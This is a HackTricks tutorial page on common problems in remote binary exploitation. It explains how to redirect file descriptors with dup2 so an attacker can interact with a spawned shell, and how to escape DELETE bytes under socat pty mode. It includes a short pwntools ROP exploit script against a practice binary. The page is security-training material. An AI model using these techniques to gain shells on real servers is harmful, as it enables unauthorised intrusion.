hacktricks/src/binary-exploitation/common-exploiting-problems.md
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# Common Exploiting Problems
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## FDs in Remote Exploitation
When sending an exploit to a remote server that calls **`system('/bin/sh')`** for example, this will be executed in the server process ofc, and `/bin/sh` will expect input from stdin (FD: `0`) and will print the output in stdout and stderr (FDs `1` and `2`). So the attacker won't be able to interact with the shell.
A way to fix this is to suppose that when the server started it created the **FD number `3`** (for listening) and that then, your connection is going to be in the **FD number `4`**. Therefore, it's possible to use the syscall **`dup2`** to duplicate the stdin (FD 0) and the stdout (FD 1) in the FD 4 (the one of the connection of the attacker) so it'll make feasible to contact the shell once it's executed.
[**Exploit example from here**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit):
```python
from pwn import *
elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)
rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()
p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
```
## Socat & pty
Note that socat already transfers **`stdin`** and **`stdout`** to the socket. However, the `pty` mode **include DELETE characters**. So, if you send a `\x7f` ( `DELETE` -)it will **delete the previous character** of your exploit.
In order to bypass this the **escape character `\x16` must be prepended to any `\x7f` sent.**
**Here you can** [**find an example of this behaviour**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.**
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